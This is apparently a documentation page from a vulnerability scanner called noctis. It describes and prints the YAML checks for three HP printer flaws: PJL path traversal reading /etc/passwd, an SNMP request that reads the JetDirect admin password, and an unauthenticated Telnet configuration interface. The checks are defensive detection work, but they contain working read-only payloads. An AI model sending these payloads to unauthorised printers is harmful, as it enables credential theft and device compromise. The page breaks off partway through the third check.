Hp Printers — 4 vulnerability checks

noctis ships 4 vulnerability checks for Hp Printers, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

HP PageWide / OfficeJet Pro printer PJL path traversal

CVECVE-2017-2741
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Servicesjetdirect, pdl-datastream
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/hp-printers/CVE-2017-2741.yaml

HP PageWide and HP OfficeJet Pro printers with firmware before 1708D do not confine the file names of PJL file-system commands to the printer's PJL volume. A remote, unauthenticated attacker who reaches the raw printing port (TCP 9100) can read and write any file of the printer's Linux system through `../` sequences; writing a script into a startup script directory and restarting the printer gives arbitrary code execution (CVE-2017-2741).

What the test sends: a PJL job, framed by the Universal Exit Language escape (`ESC%-12345X`), holding one `@PJL FSUPLOAD` command that asks for the first 648 bytes of `0:/../../etc/passwd` (volume-qualified name). When nothing is read, it sends the same job on a fresh connection with the volume-less name `../../etc/passwd`. The test only reads; nothing is written and the printer is not restarted.

What confirms the finding: the printer's reply carries the content of `/etc/passwd` (a `root:…:0:0:` entry), which is outside the PJL volume and not part of the request, and the same job for an absent file in a random missing directory gets a PJL reply without passwd content (a service that answers every job with the same file is not reported). A patched printer does not return the file. The test stops at the first confirmed read.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: %-12345X@PJL FSUPLOAD NAME="0:/../../etc/passwd" OFFSET=0 SIZE=648
  2. Checks vol.banner for (?i)root:.*:0:[01]:
  3. Raw TCP (TLS on HTTPS), sent verbatim: %-12345X@PJL FSUPLOAD NAME="0:/../../noctis-absent-{{oob_token}}/etc/passwd" OFFSET=0 SI…
  4. Parses / computes the next value with a Rhai script
  5. Checks vol_file for ^/etc/passwd$ → finding QoD 75: HP printer PJL path traversal — /etc/passwd read through FSUPLOAD
  6. Raw TCP (TLS on HTTPS), sent verbatim: %-12345X@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
  7. Checks rel.banner for (?i)root:.*:0:[01]:
  8. Raw TCP (TLS on HTTPS), sent verbatim: %-12345X@PJL FSUPLOAD NAME="../../noctis-absent-{{oob_token}}/etc/passwd" OFFSET=0 SIZE=…
  9. Parses / computes the next value with a Rhai script
  10. Checks rel_file for ^/etc/passwd$ → finding QoD 75: HP printer PJL path traversal — /etc/passwd read through FSUPLOAD

References:

Feed source — tests/vulnerabilities/hp-printers/CVE-2017-2741.yaml
# HP PageWide / OfficeJet Pro printers — PJL file-system path traversal
# (CVE-2017-2741, HPSBPI03555, fixed in firmware 1708D).
#
# Detection logic ported from the OpenVAS/Greenbone NVT
# 2017/gb_hp_printer_rce_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.106920,
# GPL-2.0-only). Kept as a comment: the description is product documentation.
# Request shape: the NVT's frame, byte for byte —
#   ESC%-12345X@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648\r\n ESC%-12345X\r\n
# and the same content pattern ("root:.*:0:[01]:").
#
# The bug: the PJL file-system commands (FSUPLOAD/FSDOWNLOAD/FSQUERY…) do not
# confine names to the printer's PJL volume, so "../" climbs into the Linux
# root file system. Public exploits (exploit-db 42176, Metasploit
# hp_jetdirect_path_traversal) WRITE a script to
# 0:/../../rw/var/etc/profile.d/ and power-cycle the printer to run it. This
# feed only READS through the same traversal: a read of /etc/passwd proves the
# path confinement is broken without writing anything or rebooting the device.
#
# Better than the NVT:
#   - the NVT only sends the volume-less name "../../etc/passwd". PJL file
#     names are volume-qualified ("0:/..."): both public exploits and
#     Metasploit's PJL client use "0:/../../", and a printer that rejects an
#     unqualified name is missed by the NVT. This feed sends the
#     volume-qualified name "0:/../../etc/passwd" first (one job on a
#     vulnerable printer) and, when it reads nothing, the NVT frame on a fresh
#     connection;
#   - runs on the port nmap identifies as the printer's raw/PJL service
#     ("jetdirect", 9100 or a remapped port), not only on 9100;
#   - absent-file control (#2383): after a read, the same FSUPLOAD is sent for
#     <same prefix>noctis-absent-<random>/etc/passwd and the finding is raised
#     only when that control gets a PJL reply without passwd content (fail
#     closed), so a service that answers every job with the same file is not
#     reported. The passwd content is no longer copied into the finding.
uid: 827f4566-f986-4695-803b-32c57bec61ef
name: "HP PageWide / OfficeJet Pro printer PJL path traversal (CVE-2017-2741)"
description: |
  HP PageWide and HP OfficeJet Pro printers with firmware before 1708D do not
  confine the file names of PJL file-system commands to the printer's PJL
  volume. A remote, unauthenticated attacker who reaches the raw printing port
  (TCP 9100) can read and write any file of the printer's Linux system through
  `../` sequences; writing a script into a startup script directory and
  restarting the printer gives arbitrary code execution (CVE-2017-2741).

  What the test sends: a PJL job, framed by the Universal Exit Language escape
  (`ESC%-12345X`), holding one `@PJL FSUPLOAD` command that asks for the first
  648 bytes of `0:/../../etc/passwd` (volume-qualified name). When nothing is
  read, it sends the same job on a fresh connection with the volume-less name
  `../../etc/passwd`.
  The test only reads; nothing is written and the printer is not restarted.

  What confirms the finding: the printer's reply carries the content of
  `/etc/passwd` (a `root:…:0:0:` entry), which is outside the PJL volume and
  not part of the request, and the same job for an absent file in a random
  missing directory gets a PJL reply without passwd content (a service that
  answers every job with the same file is not reported). A patched printer
  does not return the file. The test stops at the first confirmed read.
cves: [CVE-2017-2741]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [hp, printer, pagewide, officejet, pjl, jetdirect, path-traversal, file-read, unauthenticated, tcp-9100]
# nmap names TCP 9100-9103 "jetdirect" (and skips them in -sV); some port
# tables use the IANA name "pdl-datastream".
services: [jetdirect, pdl-datastream]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-2741"
  - "https://support.hp.com/us-en/document/c05462914"
  - "https://www.exploit-db.com/exploits/42176/"
  - "https://www.exploit-db.com/exploits/45273/"

steps:
  # ── 1. Volume-qualified name (0:/), as used by the public exploits ──
  - id: init-volume
    action: set_var
    var_name: vol
    var_value: {connected: false, banner: ""}

  - id: init-volume-ctrl
    action: set_var
    var_name: vol_ctrl
    var_value: {connected: false, banner: ""}

  - id: init-volume-file
    action: set_var
    var_name: vol_file
    var_value: ""

  - id: init-volume-clean
    action: set_var
    var_name: vol_clean
    var_value: false

  - id: fsupload-volume
    action: tcp_connect
    port: "{{port}}"
    send: "\e%-12345X@PJL FSUPLOAD NAME=\"0:/../../etc/passwd\" OFFSET=0 SIZE=648\r\n\e%-12345X\r\n"
    timeout_secs: 10
    store_as: vol

  # No finding here: the reply is the passwd file and must not become evidence.
  - id: passwd-volume
    action: match
    condition: "vol.connected == true"
    source: vol.banner
    pattern: "(?i)root:.*:0:[01]:"
    on_match:
      set_vars:
        vol_file: "/etc/passwd"

  # Control: same frame, absent file in a random missing directory (same
  # etc/passwd ending). The printer answers FILEERROR.
  - id: fsupload-volume-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'vol_file != ""'
    send: "\e%-12345X@PJL FSUPLOAD NAME=\"0:/../../noctis-absent-{{oob_token}}/etc/passwd\" OFFSET=0 SIZE=648\r\n\e%-12345X\r\n"
    timeout_secs: 10
    store_as: vol_ctrl

  # Fail closed: the control must have got a PJL reply without passwd content.
  - id: passwd-volume-verdict
    action: script
    condition: 'vol_file != ""'
    code: |
      let b = vol_ctrl.banner;
      type_of(b) == "string" && ereg("(?i)@PJL", b) && !ereg("(?i)root:[^:\\r\\n]*:0:[01]:", b)
    store_as: vol_clean

  - id: report-volume
    action: match
    condition: "vol_clean == true"
    source: vol_file
    pattern: "^/etc/passwd$"
    on_match:
      finding:
        title: "HP printer PJL path traversal — /etc/passwd read through FSUPLOAD"
        description: "An unauthenticated PJL FSUPLOAD request for 0:/../../etc/passwd sent to the printer's raw printing port returned the content of /etc/passwd, a file outside the PJL volume, while the same request for an absent file did not. The PJL file-system commands of this printer do not confine file names (CVE-2017-2741): the same traversal lets FSDOWNLOAD write a script into a startup script directory that runs as root on the next restart."
        remediation: "Update the printer firmware to 1708D or later (HP security bulletin HPSBPI03555). Until then, disable PJL file-system access in the printer's security settings and allow TCP 9100 only from print servers."
        confidence_delta: 0.55
        qod: 75
        evidence: "FSUPLOAD NAME=\"0:/../../etc/passwd\" returned /etc/passwd content (root:…:0:0: entry); the same request for an absent file got a PJL reply without it"
      stop: true

  # ── 2. Volume-less name, the original frame ──
  - id: init-relative
    action: set_var
    var_name: rel
    var_value: {connected: false, banner: ""}

  - id: init-relative-ctrl
    action: set_var
    var_name: rel_ctrl
    var_value: {connected: false, banner: ""}

  - id: init-relative-file
    action: set_var
    var_name: rel_file
    var_value: ""

  - id: init-relative-clean
    action: set_var
    var_name: rel_clean
    var_value: false

  - id: fsupload-relative
    action: tcp_connect
    port: "{{port}}"
    send: "\e%-12345X@PJL FSUPLOAD NAME=\"../../etc/passwd\" OFFSET=0 SIZE=648\r\n\e%-12345X\r\n"
    timeout_secs: 10
    store_as: rel

  # No finding here: the reply is the passwd file and must not become evidence.
  - id: passwd-relative
    action: match
    condition: "rel.connected == true"
    source: rel.banner
    pattern: "(?i)root:.*:0:[01]:"
    on_match:
      set_vars:
        rel_file: "/etc/passwd"

  # Control: same frame, absent file in a random missing directory (same
  # etc/passwd ending). The printer answers FILEERROR.
  - id: fsupload-relative-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'rel_file != ""'
    send: "\e%-12345X@PJL FSUPLOAD NAME=\"../../noctis-absent-{{oob_token}}/etc/passwd\" OFFSET=0 SIZE=648\r\n\e%-12345X\r\n"
    timeout_secs: 10
    store_as: rel_ctrl

  # Fail closed: the control must have got a PJL reply without passwd content.
  - id: passwd-relative-verdict
    action: script
    condition: 'rel_file != ""'
    code: |
      let b = rel_ctrl.banner;
      type_of(b) == "string" && ereg("(?i)@PJL", b) && !ereg("(?i)root:[^:\\r\\n]*:0:[01]:", b)
    store_as: rel_clean

  - id: report-relative
    action: match
    condition: "rel_clean == true"
    source: rel_file
    pattern: "^/etc/passwd$"
    on_match:
      finding:
        title: "HP printer PJL path traversal — /etc/passwd read through FSUPLOAD"
        description: "An unauthenticated PJL FSUPLOAD request for ../../etc/passwd sent to the printer's raw printing port returned the content of /etc/passwd, a file outside the PJL volume, while the same request for an absent file did not. The PJL file-system commands of this printer do not confine file names (CVE-2017-2741): the same traversal lets FSDOWNLOAD write a script into a startup script directory that runs as root on the next restart."
        remediation: "Update the printer firmware to 1708D or later (HP security bulletin HPSBPI03555). Until then, disable PJL file-system access in the printer's security settings and allow TCP 9100 only from print servers."
        confidence_delta: 0.55
        qod: 75
        evidence: "FSUPLOAD NAME=\"../../etc/passwd\" returned /etc/passwd content (root:…:0:0: entry); the same request for an absent file got a PJL reply without it"
      stop: true

HP JetDirect administrative password readable over SNMP

CVECVE-2002-1048
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Servicessnmp
Detectionset_var, script, udp_probe, match · highest QoD 75
Feedtests/vulnerabilities/hp-printers/CVE-2002-1048.yaml

Sends SNMPv1 GET requests (communities `public` and `internal`) for the HP JetDirect objects that hold the device password: gdPasswords (1.3.6.1.4.1.11.2.3.9.1.1.13.0) and 1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0. The finding is reported when the print server returns a non-empty password in the format it stores it in (`<password>=<number>;` for gdPasswords, a printable string for the other object), and does not answer a GET for an object that does not exist with a value. Only the password length is reported, never the password.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. UDP datagram probe
  3. UDP datagram probe
  4. Parses / computes the next value with a Rhai script
  5. UDP datagram probe
  6. UDP datagram probe
  7. Parses / computes the next value with a Rhai script
  8. Checks leak.text for ^JetDirect password disclosed over SNMP$ → finding QoD 75: HP JetDirect administrative password readable over SNMP

References:

Feed source — tests/vulnerabilities/hp-printers/CVE-2002-1048.yaml
# HP JetDirect — device / embedded web server password readable over SNMP (CVE-2002-1048)
#
# Old HP JetDirect print servers (JetDirect 300X J3263A, EX Plus J2591A, 400N
# J2552A/B, 600N J3110A/J3111A/J3113A and older; HP fixed it in firmware X.22.09)
# keep the administrative password in a readable SNMP object, so anyone who knows
# the read community (default "public") can GET it:
#   - gdPasswords, .1.3.6.1.4.1.11.2.3.9.1.1.13.0 (HP-LASERJET-COMMON-MIB) — the
#     Web JetAdmin device password, stored as "<password>=<number>;" followed by
#     NUL padding (Bugtraq, S. Pechler, 2003-03-03: <0x41>…<0x3d><0x31><0x30>
#     <0x38><0x3b><0x00>… — "the password is the word before the '=' sign");
#   - .1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0 — the OID the CVE record itself cites
#     (Phenoelit, 2002, CERT VU#377003), the web / telnet password.
#
# Ported from OpenVAS/Greenbone NASL pre2008/snmp_hpJetDirectEWS.nasl (OID
# 1.3.6.1.4.1.25623.1.0.11317, GPL-2.0-or-later). Same request: an SNMPv1
# GetRequest for gdPasswords; the password is the value before '='.
#
# Real exploitation, read-only: the feed actually reads the password from the
# printer (that IS the exploit). Nothing is written. The password never leaves
# the parse step: the finding carries its length only.
#
# Better than the NASL:
#   - the NASL only runs when its HP printer detection succeeded over BOTH SNMP and
#     HTTP, and only if http://<host>:80/hp/jetdirect/tcp_param.htm answers 404
#     (a heuristic for "old firmware"); a card with its web server on another port,
#     disabled, or behind the detection's blind spots is missed although SNMP leaks.
#     Here the SNMP reply itself is the proof, no HTTP pre-gate;
#   - the NASL scans the raw reply for the bytes 04 82 01 and reports every byte up
#     to '=' as the password, so any long OCTET STRING anywhere in any reply (any
#     agent, any OID) is reported. Here the reply is parsed as BER: GetResponse,
#     our request-id, error-status 0, the varbind for the OID we asked, and the
#     value must have the "<password>=<digits>;" layout;
#   - the OID cited by the CVE record is probed as well;
#   - a control GET for an OID that does not exist must be answered (noSuchName),
#     not with a value, so a catch-all agent answering every OID the same is not
#     reported (sent twice if UDP drops it; no answer at all → no finding);
#   - an all-blank or masked value (spaces / '*') is not taken as a password;
#   - a blanked value (all NUL — what fixed firmware returns, and what an old card
#     with no password set returns) is not reported: the NASL reports it as
#     "no password set", which a value read alone cannot tell apart from a fix.
uid: 3f6d2a8e-71c4-4b0a-9e52-c8a41f7d06b3
name: "CVE-2002-1048 — HP JetDirect administrative password readable over SNMP"
description: |
  Sends SNMPv1 GET requests (communities `public` and `internal`) for the HP
  JetDirect objects that hold the device password: gdPasswords
  (1.3.6.1.4.1.11.2.3.9.1.1.13.0) and 1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0.
  The finding is reported when the print server returns a non-empty password in
  the format it stores it in (`<password>=<number>;` for gdPasswords, a
  printable string for the other object), and does not answer a GET for an
  object that does not exist with a value. Only the password length is reported,
  never the password.
cves: [CVE-2002-1048]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: exposure
confidence_base: 0.30
tags: [hp, jetdirect, printer, snmp, credential-disclosure, unauthenticated, openvas]
services: [snmp]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-1048"
  - "https://www.kb.cert.org/vuls/id/377003"
  - "https://seclists.org/bugtraq/2003/Mar/14"
  - "https://www.exploit-db.com/exploits/22319"
  - "OpenVAS/Greenbone NASL pre2008/snmp_hpJetDirectEWS.nasl (OID 1.3.6.1.4.1.25623.1.0.11317, GPL-2.0-or-later)"

steps:
  # One pass per read community (the NASL uses the community its SNMP detection
  # found, "public" by default; "internal" is the other JetDirect default).
  - id: reset-gd
    loop:
      var: community
      over: ["public", "internal"]
    action: set_var
    var_name: q_gd
    var_value: {responded: false}

  - id: reset-np
    action: set_var
    var_name: q_np
    var_value: {responded: false}

  - id: reset-ctl
    action: set_var
    var_name: q_ctl
    var_value: {responded: false}

  # SNMPv1 GetRequest packets (one OID each, as the NASL), a fresh request-id
  # per pass so a reply is only accepted for the request just sent.
  - id: build
    action: script
    store_as: pk
    code: |
      fn pkt(comm, reqid, oid) {
        let vb = "06" + p8(strlen(oid) / 2) + oid + "0500";
        let vb2 = "30" + p8(strlen(vb) / 2) + vb;
        let vbl = "30" + p8(strlen(vb2) / 2) + vb2;
        let body = "0204" + reqid + "020100020100" + vbl;
        let pdu = "a0" + p8(strlen(body) / 2) + body;
        let m = "020100" + "04" + p8(strlen(comm) / 2) + comm + pdu;
        "30" + p8(strlen(m) / 2) + m
      }
      let comm = hexstr(community);
      let reqid = p32be(rand_int(16777216, 2147483647));
      // gdPasswords .1.3.6.1.4.1.11.2.3.9.1.1.13.0
      let gd = "2b060104010b02030901010d00";
      // .1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0 (OID cited by the CVE record)
      let np = "2b060104010b0203090402010309010100";
      // control: gdPasswords.0.4242 — an object no agent implements
      let ctl = "2b060104010b02030901010d00a112";
      #{ reqid: reqid, gd_oid: gd, np_oid: np, ctl_oid: ctl,
         gd: pkt(comm, reqid, gd), np: pkt(comm, reqid, np), ctl: pkt(comm, reqid, ctl) }

  - id: get-gdpasswords
    action: udp_probe
    port: "{{port}}"
    send_hex: "{{pk.gd}}"
    timeout_secs: 3
    store_as: q_gd

  # A JetDirect answers every GET (noSuchName when the object is absent), so no
  # reply means a wrong community or no SNMP agent: skip the other GETs.
  - id: get-npcfg
    action: udp_probe
    condition: "q_gd.responded == true"
    port: "{{port}}"
    send_hex: "{{pk.np}}"
    timeout_secs: 3
    store_as: q_np

  # Parse both replies (BER): GetResponse, our request-id, error-status 0, the
  # varbind of the OID asked, an OCTET STRING value. gdPasswords must read
  # "<password>=<digits>;" before its NUL padding; the other object must be a
  # printable, non-empty string. Only lengths leave this step.
  - id: parse
    action: script
    store_as: cand
    code: |
      fn tl(h, i) {
        if i + 4 > strlen(h) { return [-1, 0, 0, 0]; }
        let tag = u8(substr(h, i, i + 1));
        let l1 = u8(substr(h, i + 2, i + 3));
        let hdr = 4;
        let len = l1;
        if l1 == 129 { len = u8(substr(h, i + 4, i + 5)); hdr = 6; }
        else if l1 == 130 { len = u16be(substr(h, i + 4, i + 7)); hdr = 8; }
        else if l1 > 130 { return [-1, 0, 0, 0]; }
        let start = i + hdr;
        let stop = start + len * 2;
        if stop > strlen(h) { return [-1, 0, 0, 0]; }
        [tag, start, len * 2, stop]
      }
      fn value_of(h, reqid, oid) {
        let a = tl(h, 0);
        if a[0] != 48 { return ""; }
        let b = tl(h, a[1]);
        if b[0] != 2 { return ""; }
        let c = tl(h, b[3]);
        if c[0] != 4 { return ""; }
        let d = tl(h, c[3]);
        if d[0] != 162 { return ""; }
        let e = tl(h, d[1]);
        if e[0] != 2 || substr(h, e[1], e[1] + e[2] - 1) != reqid { return ""; }
        let f = tl(h, e[3]);
        if f[0] != 2 || u8(substr(h, f[1], f[1] + f[2] - 1)) != 0 { return ""; }
        let g = tl(h, f[3]);
        if g[0] != 2 { return ""; }
        let k = tl(h, g[3]);
        if k[0] != 48 { return ""; }
        let m = tl(h, k[1]);
        if m[0] != 48 { return ""; }
        let n = tl(h, m[1]);
        if n[0] != 6 || substr(h, n[1], n[1] + n[2] - 1) != oid { return ""; }
        let v = tl(h, n[3]);
        if v[0] != 4 { return ""; }
        // value bytes up to the first NUL (the padding)
        let out = "";
        let i = v[1];
        while i < v[3] {
          let byte = substr(h, i, i + 1);
          if byte == "00" { break; }
          out += byte;
          i += 2;
        }
        out
      }
      // printable bytes, and at least one that is not a space or '*' (a blank
      // or masked value discloses nothing)
      fn printable(x) {
        let i = 0;
        let real = false;
        while i < strlen(x) {
          let b = u8(substr(x, i, i + 1));
          if b < 32 || b > 126 { return false; }
          if b != 32 && b != 42 { real = true; }
          i += 2;
        }
        real
      }
      let r = #{ gd: false, gd_len: 0, np: false, np_len: 0 };
      if is_def_var("q_gd") && q_gd.responded == true && type_of(q_gd.response_hex) == "string" {
        let x = value_of(tolower(q_gd.response_hex), pk.reqid, pk.gd_oid);
        // "<password>=<digits>;" — last '=' then digits then a final ';'
        if printable(x) && strlen(x) >= 8 && substr(x, strlen(x) - 2) == "3b" {
          let eq = -1;
          let i = strlen(x) - 4;
          let digits = 0;
          while i >= 0 {
            let b = u8(substr(x, i, i + 1));
            if b == 61 { eq = i; break; }
            if b < 48 || b > 57 { break; }
            digits += 1;
            i -= 2;
          }
          if eq >= 2 && digits >= 1 {
            r.gd = true;
            r.gd_len = eq / 2;
          }
        }
      }
      if is_def_var("q_np") && q_np.responded == true && type_of(q_np.response_hex) == "string" {
        let x = value_of(tolower(q_np.response_hex), pk.reqid, pk.np_oid);
        if printable(x) && strlen(x) <= 256 {
          r.np = true;
          r.np_len = strlen(x) / 2;
        }
      }
      r.any = r.gd || r.np;
      r

  # Control: an object that does not exist must not come back with a value.
  - id: get-control
    action: udp_probe
    condition: "cand.any == true"
    port: "{{port}}"
    send_hex: "{{pk.ctl}}"
    timeout_secs: 3
    store_as: q_ctl

  # UDP can drop the control GET: ask once more (no answer at all → no finding).
  - id: get-control-retry
    action: udp_probe
    condition: "cand.any == true && q_ctl.responded != true"
    port: "{{port}}"
    send_hex: "{{pk.ctl}}"
    timeout_secs: 3
    store_as: q_ctl

  - id: verdict
    action: script
    store_as: leak
    code: |
      // the control must be answered (an agent that answered our GETs answers it
      // too) and its answer must carry no value
      let ctl_value = true;
      if is_def_var("q_ctl") && q_ctl.responded == true && type_of(q_ctl.response_hex) == "string" {
        let h = tolower(q_ctl.response_hex);
        // the control OID followed by an OCTET STRING (04) means "answers anything"
        ctl_value = stridx(h, "06" + p8(strlen(pk.ctl_oid) / 2) + pk.ctl_oid + "04") >= 0;
      }
      let out = #{ found: false, text: "", where: "", len: 0 };
      if cand.any == true && !ctl_value {
        out.found = true;
        if cand.gd {
          out.where = "gdPasswords (1.3.6.1.4.1.11.2.3.9.1.1.13.0)";
          out.len = cand.gd_len;
        } else {
          out.where = "1.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0";
          out.len = cand.np_len;
        }
        out.text = "JetDirect password disclosed over SNMP";
      }
      out

  - id: report
    action: match
    condition: "leak.found == true"
    source: leak.text
    pattern: "^JetDirect password disclosed over SNMP$"
    on_match:
      finding:
        title: "HP JetDirect administrative password readable over SNMP"
        description: "The HP JetDirect print server returns its administrative (web / Web JetAdmin) password to an unauthenticated SNMP GET."
        remediation: "Upgrade the JetDirect firmware to X.22.09 or later (or replace the print server), change the device password, set a non-default SNMP community and restrict SNMP access to management hosts."
        confidence_delta: 0.55
        qod: 75
        evidence: "SNMPv1 GET {{leak.where}} with community '{{community}}' returned the device password ({{leak.len}} characters, value withheld); a GET for a non-existent object returned no value"
      stop: true

HP JetDirect Telnet configuration interface without password

CVECVE-1999-1061
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Servicestelnet
Detectionscript, set_var, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/hp-printers/CVE-1999-1061.yaml

An HP JetDirect print server (HP LaserJet and compatible printers) accepts Telnet connections on TCP/23 without a password. The check reads the Telnet banner (an HP JetDirect banner that announces "Password is not set" and does not ask for a username) and sends the read-only `/` command; it is confirmed when the printer answers with its configuration page (IP address, MAC address, firmware) while an unknown command sent on a second connection does not. Anyone on the network can then change the printer's IP address or disable its logging.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Opens a persistent TCP/TLS socket
  3. Sends … on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Sends / on the open socket
  7. Sends quit on the open socket
  8. Parses / computes the next value with a Rhai script
  9. Opens a persistent TCP/TLS socket
  10. Parses / computes the next value with a Rhai script
  11. Sends {{ctl_tok}} on the open socket
  12. Sends quit on the open socket
  13. Parses / computes the next value with a Rhai script
  14. Parses / computes the next value with a Rhai script
  15. … and 2 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/hp-printers/CVE-1999-1061.yaml
# HP LaserJet / JetDirect — Telnet configuration interface without a password (CVE-1999-1061)
#
# A JetDirect print server configured for TCP/IP with no password lets anyone
# reach its Telnet configuration interface (TCP/23): the banner says
# "Password is not set" and the `/` command prints the current settings.
# From the same session an attacker can change the printer's IP address or
# disable logging (the CVE's impact).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_hp_jet_direct_unauthenticated_access.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103390, GPL-2.0-only): require "HP JetDirect" in the
# banner (a banner with "Enter username:" means a password is set), send `/`,
# report on "JetDirect Telnet Configuration" in the reply or "Password is not set"
# in the banner.
#
# Deviations from the NASL (stronger detection, documented in the PR):
#   * Two levels of proof. QoD 97: the `/` command answered with the settings
#     page ("JetDirect Telnet Configuration") AND an unknown command sent on a
#     second connection did not. QoD 75: the banner alone ("Password is not
#     set"), or a reply that could not be cross-checked.
#   * Honeypot / accept-everything guard: a service that answers any line with
#     the settings page (the NASL would report it) is suppressed.
#   * Fail-closed control: it only counts when it demonstrably ran (a
#     JetDirect banner on the second connection); a single-session print
#     server that refuses it leaves the finding at QoD 75.
#   * Late greeting: a banner that misses the first read is read again.
#
# Nothing is changed on the printer: `/` is a read-only display command and the
# session is closed with `quit`.
uid: 625c882e-86dd-464d-bf32-d312bd6196db
name: "HP JetDirect Telnet configuration interface without password (CVE-1999-1061)"
description: |
  An HP JetDirect print server (HP LaserJet and compatible printers) accepts Telnet
  connections on TCP/23 without a password. The check reads the Telnet banner
  (an HP JetDirect banner that announces "Password is not set" and does not ask
  for a username) and sends the read-only `/` command; it is confirmed when the
  printer answers with its configuration page (IP address, MAC address, firmware)
  while an unknown command sent on a second connection does not. Anyone on the
  network can then change the printer's IP address or disable its logging.
cves: [CVE-1999-1061]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: exposure
confidence_base: 0.30
tags: [hp, jetdirect, laserjet, printer, telnet, no-authentication]
services: [telnet]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-1061"

steps:
  - id: control-token
    action: script
    store_as: ctl_tok
    code: |
      "noctis" + rand_str(10)

  - id: init-late
    action: set_var
    var_name: late
    var_value: {response: ""}

  - id: init-cfg
    action: set_var
    var_name: cfg
    var_value: {response: ""}

  - id: init-gate
    action: set_var
    var_name: gate
    var_value: false

  - id: init-cfg-ok
    action: set_var
    var_name: cfg_ok
    var_value: false

  - id: init-ctl-ran
    action: set_var
    var_name: ctl_ran
    var_value: false

  - id: init-ctl-ok
    action: set_var
    var_name: ctl_ok
    var_value: false

  - id: init-ctl-replied
    action: set_var
    var_name: ctl_replied
    var_value: false

  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {response: ""}

  - id: open
    action: tcp_open
    handle: jd
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: conn

  # No JetDirect banner in the first read: wait and read again.
  - id: late-banner-wait
    action: sleep
    condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(conn.banner, \"JetDirect\") == \"\")"
    duration_ms: 2000

  - id: late-banner
    action: tcp_send
    handle: jd
    condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(conn.banner, \"JetDirect\") == \"\")"
    send: ""
    timeout_secs: 5
    store_as: late

  # Same gate as the NASL: "HP JetDirect" in the banner, and no username
  # prompt (a password is set).
  - id: gate-check
    action: script
    condition: "conn.connected == true"
    store_as: gate
    code: |
      let g = "";
      if type_of(conn.banner) == "string" { g += conn.banner; }
      if type_of(late.response) == "string" { g += late.response; }
      strstr(g, "HP JetDirect") != "" && strstr(tolower(g), "enter username") == ""

  - id: banner-text
    action: script
    condition: "gate == true"
    store_as: banner_all
    code: |
      let g = "";
      if type_of(conn.banner) == "string" { g += conn.banner; }
      if type_of(late.response) == "string" { g += late.response; }
      g

  - id: show-settings
    action: tcp_send
    handle: jd
    condition: "gate == true"
    send: "/\r\n"
    timeout_secs: 5
    store_as: cfg

  - id: quit
    action: tcp_send
    handle: jd
    condition: "gate == true"
    send: "quit\r\n"
    timeout_secs: 1
    store_as: bye

  - id: close
    action: tcp_close
    handle: jd

  - id: cfg-check
    action: script
    condition: "gate == true"
    store_as: cfg_ok
    code: |
      type_of(cfg.response) == "string" && strstr(cfg.response, "JetDirect Telnet Configuration") != ""

  # --------------- control: an unknown command must not give the settings
  - id: ctl-open
    action: tcp_open
    handle: ctl
    port: "{{port}}"
    condition: "gate == true"
    read_banner: true
    timeout_secs: 10
    store_as: ctl_conn

  - id: ctl-ran-check
    action: script
    condition: "gate == true && ctl_conn.connected == true"
    store_as: ctl_ran
    code: |
      type_of(ctl_conn.banner) == "string" && strstr(ctl_conn.banner, "HP JetDirect") != ""

  - id: ctl-send
    action: tcp_send
    handle: ctl
    condition: "ctl_ran == true"
    send: "{{ctl_tok}}\r\n"
    timeout_secs: 5
    store_as: ctl_resp

  - id: ctl-quit
    action: tcp_send
    handle: ctl
    condition: "ctl_ran == true"
    send: "quit\r\n"
    timeout_secs: 1
    store_as: ctl_bye

  - id: ctl-close
    action: tcp_close
    handle: ctl

  # Fail-closed: the control only counts when the server answered the unknown
  # command (a single-session printer closes the 2nd connection after the line).
  - id: ctl-replied-check
    action: script
    condition: "ctl_ran == true"
    store_as: ctl_replied
    code: |
      type_of(ctl_resp.response) == "string" && strlen(ctl_resp.response) > 0

  - id: ctl-check
    action: script
    condition: "ctl_ran == true"
    store_as: ctl_ok
    code: |
      type_of(ctl_resp.response) == "string" && strstr(ctl_resp.response, "JetDirect Telnet Configuration") != ""

  # ------------------------------------------------------------- findings
  - id: finding-config
    action: match
    source: cfg.response
    pattern: "JetDirect Telnet Configuration"
    condition: "cfg_ok == true && ctl_replied == true && ctl_ok == false"
    on_match:
      finding:
        title: "HP JetDirect Telnet configuration interface without password"
